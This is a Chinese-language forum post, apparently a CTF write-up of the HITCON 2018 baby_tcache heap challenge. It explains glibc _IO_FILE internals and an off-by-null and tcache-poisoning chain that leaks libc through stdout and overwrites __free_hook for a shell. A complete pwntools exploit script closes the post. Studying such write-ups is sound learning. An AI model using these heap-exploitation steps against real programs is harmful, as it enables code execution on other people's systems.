吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 5378|回复: 5
上一主题 下一主题
收起左侧

[调试逆向] HITCON 2018 baby_tcache(以及_IO_FILE泄露libc基础)

  [复制链接]
跳转到指定楼层
楼主
peiwithhao 发表于 2022-10-8 00:31 回帖奖励
本帖最后由 peiwithhao 于 2022-10-8 08:49 编辑

前置芝士
分析题目前我们先来了解一个新型的漏洞利用,那就是IO_FILE,FILE 在 Linux 系统的标准 IO 库中是用于描述文件的结构,称为文件流。 FILE 结构在程序执行 fopen 等函数时会进行创建,并分配在堆中。我们常定义一个指向 FILE 结构的指针来接收这个返回值。由于我是因为写这个题目才碰到的io知识,所以只会简单的泄露libc,之后有时间再进行详细介绍。
首先我们来看看FILE的结构体在内存中的分布
[C] 纯文本查看 复制代码
struct _IO_FILE {
  int _flags;       /* High-order word is _IO_MAGIC; rest is flags. */          
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;   /* Current read pointer */
  char* _IO_read_end;   /* End of get area. */
  char* _IO_read_base;  /* Start of putback+get area. */
  char* _IO_write_base; /* Start of put area. */
  char* _IO_write_ptr;  /* Current put pointer. */
  char* _IO_write_end;  /* End of put area. */
  char* _IO_buf_base;   /* Start of reserve area. */
  char* _IO_buf_end;    /* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE_complete
{
  struct _IO_FILE _file;
#endif
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;

  size_t __pad5;
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

而这类表之间会通过_chain来进行连接,进程中的 FILE 结构会通过_chain 域彼此连接形成一个链表,链表头部用全局变量_IO_list_all 表示,通过这个值我们可以遍历所有的 FILE 结构。
在标准 I/O 库中,每个程序启动时有三个文件流是自动打开的:stdin、stdout、stderr(就如同我们平时read、write的第一个fd参数,0是in、1是out、2是error)。因此在初始状态下,_IO_list_all 指向了一个有这些文件流构成的链表,但是需要注意的是这三个文件流位于 libc.so 的数据段。而我们使用 fopen 创建的文件流是分配在堆内存上的如图所示

从中可以直观的了解他其中的奥妙,这里顺便提一嘴,我们自己fopen的文件流是通过头插来插入这个链表的,类似于fastbin。而事实上IO_FILE结构体是被另一个结构体所包围的,那就是_IO_FILE_PLUS,经典plus
[C] 纯文本查看 复制代码
struct _IO_FILE_plus
{
    _IO_FILE    file;
    IO_jump_t   *vtable;
}

可以从源码中看到这个结构体里面包裹着_IO_FILE和vtable,而vtable 是 IO_jump_t 类型的指针,IO_jump_t 中保存了一些函数指针,在后面我们会看到在一系列标准 IO 函数中会调用这些函数指针
[C] 纯文本查看 复制代码
void * funcs[] = {
   1 NULL, // "extra word"
   2 NULL, // DUMMY
   3 exit, // finish
   4 NULL, // overflow
   5 NULL, // underflow
   6 NULL, // uflow
   7 NULL, // pbackfail
   
   8 NULL, // xsputn  #printf
   9 NULL, // xsgetn
   10 NULL, // seekoff
   11 NULL, // seekpos
   12 NULL, // setbuf
   13 NULL, // sync
   14 NULL, // doallocate
   15 NULL, // read
   16 NULL, // write
   17 NULL, // seek
   18 pwn,  // close
   19 NULL, // stat
   20 NULL, // showmanyc
   21 NULL, // imbue
};

这里说实话我的理解还不是很透彻,我就当着vtable里面的这些指针就是函数指针来看待的。
而这里面的结构体中对于我们今天的漏洞利用来说比较重要的就是_IO_FILE中的_flags指针,这里给大家看看他的宏定义,我这里就挑几个重点注释
[C] 纯文本查看 复制代码
#define _IO_MAGIC 0xFBAD0000 /* Magic number */       //_flags 前两字节一般为0xfbad,跟他的注释一样,魔数,没有很大意义(就算有我现在也不知道哈哈哈)
#define _OLD_STDIO_MAGIC 0xFABC0000 /* Emulate old stdio. */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1 /* User owns buffer; don't delete it on close. */           //下面看似是数字,但其实也是表示了_flags中的位数,比如2也表示0x00000002,这样定义比较直观
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4 /* Reading not allowed */
#define _IO_NO_WRITES 8 /* Writing not allowd */
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40 /* Don't call close(_fileno) on cleanup. */
#define _IO_LINKED 0x80 /* Set if linked (using _chain) to streambuf::_list_all.*/
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400 /* Set if put and get pointer logicly tied. */
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000

这里就先讲到这儿,因为今天的题目只需要我们暂时理解到这儿就可以。



漏洞利用
今天的题目主要采用了修改stdout来打印stdout这个结构体的信息,由于这个结构体上面的信息有很多是libc上面的地址,所以我们可以借此来进行libc泄露。
首先我们需要知道当printf里面的参数只有一个字符串时,会将其优化成puts函数,而puts函数的执行流程我们来查看以下(puts函数在源码中的符号名叫_IO_PUTS)
puts()->_IO_PUTS()->_IO_sputn()
[C] 纯文本查看 复制代码
int _IO_puts (const char *str)
{
  int result = EOF;
  _IO_size_t len = strlen (str);
  _IO_acquire_lock (_IO_stdout);

  if ((_IO_vtable_offset (_IO_stdout) != 0
       || _IO_fwide (_IO_stdout, -1) == -1)
      && _IO_sputn (_IO_stdout, str, len) == len          //可以看到其实时调用了_IO_sputn ,你问为什么?那当然是这里传来相关参数塞
      && _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
    result = MIN (INT_MAX, len + 1);

  _IO_release_lock (_IO_stdout);
  return result;
}

而_IO_sputn其实是一个宏,它的作用就是调用_IO_2_1_stdout中的vtable所指向的_xsputn,也就是_IO_new_file_xsputn函数.
兄弟们写到一半发现自己对于源码也是一知半解,这里就不祸害大家,以后系统学习之后再对此进行详细描述,这里先给出利用思路
首先我们就是若发现目标程序中没有打印函数的话,我们可以采用此法来进行泄露,其核心思路就是对_IO_FILE结构的stdout(因为这里的程序一般会有puts和printf给你用) 的_flags进行伪造,而这里伪造的目的就是避开一系列检查最终实现系统调用write来打印,比较可以理解的就是本来是打印缓冲区的内容,此时我们将flags的标志位中write_base减小你觉得会发生生么,那当然就是把缓冲区前面的东西一并打印了,而这些地址里面一般都会存在libc的地址,因为他本身就是在libc的data段上嘛。所以这里我们一般会将_flags构建为0xfbad1800,以此来进行漏洞利用,借此我们就可以泄露libc基址。
我这知识很浅显的利用,有兴趣的同学可以参考以下两位师傅的博客,hollk师傅跟这一样只讲了泄露,但是比我细很多,还有一位师傅是基本都讲,大伙可以看看
https://blog.csdn.net/qq_41202237/article/details/113845320?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522166512371516800184123116%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=166512371516800184123116&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~blog~first_rank_ecpm_v1~rank_v31_ecpm-1-113845320-null-null.article_score_rank_blog&utm_term=io_file%E5%88%A9%E7%94%A8&spm=1018.2226.3001.4450
https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis



HITCON 2018 baby_tcache

首先还是照常进行一下文件检测,这里注意以下本题的环境是libc2.27,所以我们拿到手了记得改下libc版

好家伙,全开啊,不拿我当外人嘛这不是。
由于为了方便调试学习,所以我们将ASLR关闭,但是做题还是按照正常变化地址来做。
之后我们来查看以下题目基本逻辑

从上面的图以及反编译的代码可以看出这是个简单的菜单题,但是其中没有那个什么show函数,只有add和free,我们再来看看add函数

从这里我们发现了一个read函数,也就是我改名的vulunrable_read ,我们查看可以发现(上面第二张图)这里的read函数没有什么错误,但是add函数里面多了个置0,这里就存在off-by-null漏洞。
我们再来看看delete函数

可以发现基本都置了0,不存在UAF漏洞。所以此时我们的基本思路就是运用off-by-null覆盖inuse位,然后进行unsorted bin attack,这里我们首先申请0x500、0x40、0x50、0x60、0x70、0x500、0x80大小的块,为什么申请这么多的块呢,我们之后会知道,大家千万别要认为exp是一气呵成写的,这wp都是经过师傅们写题时不断调试的过程中精简得来,所以不要觉得想不出来而气馁。这里我们要进行off-by-null漏洞利用,我们就首先释放掉块4,此时由于存在tcache机制,此块会首先放入tcachebins,这里我只是提一嘴,对于漏洞利用过程没什么作用,因为这个我们马上就要申请


当我们再次申请0x70的块时,我们会从tcachebin中找到刚刚释放的chunk_4,此时由于他的p[size]=0,我们就会将chunk_5的inuse位置0,注意这里的构造方式,一定得是0x68,因为他会在size这里填入\x00,所以我们得将申请的chunk填满,


这里的prev_size的大小是0x500+0x40+0x50+0x60+0x70得到,因为我们需要将chunk_5前面的所有快构造成一个空大块的假象
我们可以通过调试看到十分成功


接下来我们先将chunk_2 free掉,由于他的大小是0x50,所以放入tcache bin中,此时我们再先释放掉chunk_0,此时由于他的大小位0x500,所以会将其放入unsorted bin(这里的利用其实像我上一篇文章中的unsorteed bin attack,有兴趣的可以去了解一下),然后重点来了,我们此时释放掉chunk_5,此时由于unsorted bin自身的机制,他会认为chunk_5前面的是一个0x660大小的空快,所以此时会将其合并位一个大块,所以借此我们就再unsortedbin中构造了一个大小为0xb60大小的块(0x660 + 0x500),此刻我们也可以从下图看到,unsorted bin所在位置的main_arena地址也出现在该块的fd、bk中

此刻chunk_2是被放在tcache bin中的,我们可以利用一下这个0xb60的块来干些事情,首先我们利用unsorted bin 的切割机制,我们申请一个0x540大小的块,为什么这么申请呢,因为我们将0x540这个块切除后,unsorted bin指向的头会恰好指向chunk_2,也就是说我们切割后,chunk_2同时存在于unsorted bin 和tcache bin中了,从下图可以看到确实chunk_2存在于两种bin中,这里地址相差0x10是tcache本身的机制,如果这里模糊可以看看我的这篇,然后我们再释放chunk_4,这里的作用我们到后面再讲
LCTF2018 PWN easy_heap学习(以及tcache的个人理解)
https://www.52pojie.cn/thread-1692200-1-1.html
(出处: 吾爱破解论坛)



当tcache上面写入了libc地址后,我们就可以申请到以此地址为fd地址的块了,然后就可以写入该地址,但是这里有个问题那就是这个地址是main_arena上unsorted bin的,还不是我们想要写入的stdout这个FILE结构体的地址,我们通过调试可以知道stdout的地址与我们现在所知道的地址相差是固定为0xac0的,但是我们现在无法得到这个unsorted bin的地址(因为没有输出函数,所以我们不能在非调试的情况下进行修改),但这里有个奇怪的点就是stdout结构体的低12固定是0x760,但这里我们并不能确定他的0x760再向上的四bit位,也就是0x_760,所以按照常态来说我们自己任意输入一个0-f,在进行利用的时候之后只有1/16的机会成功泄露,这里由于我开了上帝视角(也就是关闭了ASLR,啊哈哈哈哈),所以我能确定这个位是0xe760。
所以此时我们再申请一个0xb0大小的块,由于在tcache中没有此大小的块,所以还是从unsorted bin那个大块中切割,这里用0xb0的块是为了刚好将chunk_4作为unsorted bin 的头,由于我们在上面将chunk_4放入了tcache bin,此时也就像第一次chunk_2那样同时存在于unsored bin 与tcache bin 中了,这里申请0xb0大小的块时会切割到chunk_2,由于unsorted bin 不会修改bk以及fd,所以我们可以顺势将chunk_2的fd指针恰好修改问stdout的地址,此时在tcache bin 中的chunk_2的fd就指向了stdout了


卢克,tcache bin上属于0x50大小的链条上,chunk_2指向地址的末16位改为了0xe760,然后还有个东西,stdout指向的那个东西看清楚没有,0xfbad2887,哈哈哈哈哈是不是很熟悉,就是上面咱们讲的没啥用的魔数,从而我们可以确定这里确实时一个_IO_FILE了,所以此时我们只需连续申请到两次0x50大小的块即可申请到0x7ffff7fce750为块地址的fake_chunk了,但这里我单独贴出来讲解一下

为什么第一次是正常0x40,而第二次是0x3e这么个不正常的数字呢,难道是我很无聊了吗,当然不是,我们来看看我们想要构造的fake_chunk,(顺便说一句,上面的payload构造大家可以近似看成一个公式,这里我也不进行细讲,我很推荐hollk师傅的博客,上面贴了连接,但由于我自己一知半解就不出来迷惑人了)。
由于这个程序会在size的地方置0,这就注定了咱们构造的size不能瞎构造,特别是在这种libc中构造fakechunk时,小小一个置0可能引起很多不可预测的事情,这里我们可以看到(可以理解大伙看到libc地址有多么激动,但是我们此时先看别的),我圈的字节位恰好是0x3e、0x3f,并且当我们size输入0x3e或0x3f时恰好构成0x50的块,刚好满足咱们的需求,在我试验过程中也确实证实了0x3f也可以。


当我们顺利获取修改stdout的结构时,当程序printf触发stdout后就会输出从write_base到write_ptr 的值,此时我们就可以接收他们得到libc基地址了。
当我们得到libc基地址后我们就采用常规写入_free_hook进行泄露,此时我采用one_gadget,这样省事且方便,大伙还记得那个跟chunk_2一样境况的chunk_4吗,是时候到他表演了。
此时我们申请一个0xa0的块,同上,从unsorted bin中进行切割,其中第一个倒霉蛋就是chunk_4,然后将其fd修改为_free_hook的地址,然后tcache bin上的链条就会指向_free_hook


之后我们申请两次0x70的块,他均会从tcache bin 中获取,所以申请的第二块我们就可以修改free_hook为one_gadget 地址了,然后我们随便找个倒霉蛋释放就可以getshell啦.

大获全胜!




总结
emmm,今天这题其实没有很复杂的思路,这里的IO_FILE漏洞利用也只是浅尝了以下,没想到这么大威力,虽然威力大但是确实还没完全掌握,只懂了点皮毛,之后有时间补上IO
以下是exp
[C] 纯文本查看 复制代码
from pwn import *
io = process('./baby_tcache')
context.log_level = 'DEBUG'
context.terminal = ['tmux','splitw','-h']
libc = ELF('/home/eclipse/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')
def slog(name,address): io.success(name+'==>'+hex(address))

def add(size,context):
    io.recvuntil("Your choice: ")
    io.sendline('1')
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.recvuntil("Data:")
    io.send(context)

def dele(size):
    io.recvuntil("Your choice: ")
    io.sendline('2')
    io.recvuntil("Index:")
    io.sendline(str(size))

def exit(size):
    io.recvuntil("Your choice: ")
    io.sendline('3')

add(0x4f8,'aaaaa')  #0
add(0x30,'bbbbb')   #1
add(0x40,'ccccc')   #2
add(0x50,'ccccc')   #3
add(0x60,'ccccc')   #4
add(0x4f8,'ccccc')  #5
add(0x70,'ccccc')   #6

dele(4)             #put the index_4 into tcachebin
gdb.attach(io)
add(0x68,b'a'*0x60+p64(0x660)) #4 overlapping 

dele(2)
dele(0)
dele(5)
add(0x530,'aaa') #0

#dele(4)
#now chunk_2 in tcache 's fd to main_arena
#in unsorted bin fd and bk will not be changed
dele(4)

add(0xa0,b'\x60\xe7') #2

add(0x40,'aaa')
payload = p64(0xfbad1800) + p64(0)*3 + b'\x00'
add(0x3e,payload)

io.recv(8)
libc_addr = u64(io.recv(6).ljust(8,b'\x00'))
libc_base = libc_addr - 0x3ed8b0
slog('libc_base',libc_base)
one_gadget1 = 0x4f2a5
one_gadget2 = 0x4f302
one_gadget3 = 0x10a2fc
one_gadget1 += libc_base
one_gadget2 += libc_base
one_gadget3 += libc_base

_free_hook_addr = libc_base + libc.symbols['__free_hook']
slog('free_hook',_free_hook_addr)
#dele(0)
#add(0x10,'aaa')
add(0xa0,p64(_free_hook_addr))
add(0x60,'A')
add(0x60,p64(one_gadget2))
dele(0)
io.interactive()

屏幕截图 2022-10-07 220711.png (25.67 KB, 下载次数: 2)

屏幕截图 2022-10-07 220711.png

屏幕截图 2022-10-07 220711.png (25.67 KB, 下载次数: 1)

屏幕截图 2022-10-07 220711.png

免费评分

参与人数 4吾爱币 +3 热心值 +4 收起 理由
Qw1k086 + 1 我很赞同!
光之优雅 + 1 + 1 热心回复!
15235109295 + 1 + 1 我很赞同!
为之奈何? + 1 + 1 我很赞同!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

沙发
kanxue2018 发表于 2022-10-8 01:37
图文并茂,深入浅出,刻苦学习!
3#
x131797 发表于 2022-10-8 09:24
4#
ren3586838 发表于 2022-10-8 10:48
5#
250075083 发表于 2022-10-16 16:34
做个记号!!!!!!!!!!!!!!!
头像被屏蔽
6#
tl;dr 发表于 2022-10-23 06:58
哈工大的比赛
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 08:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表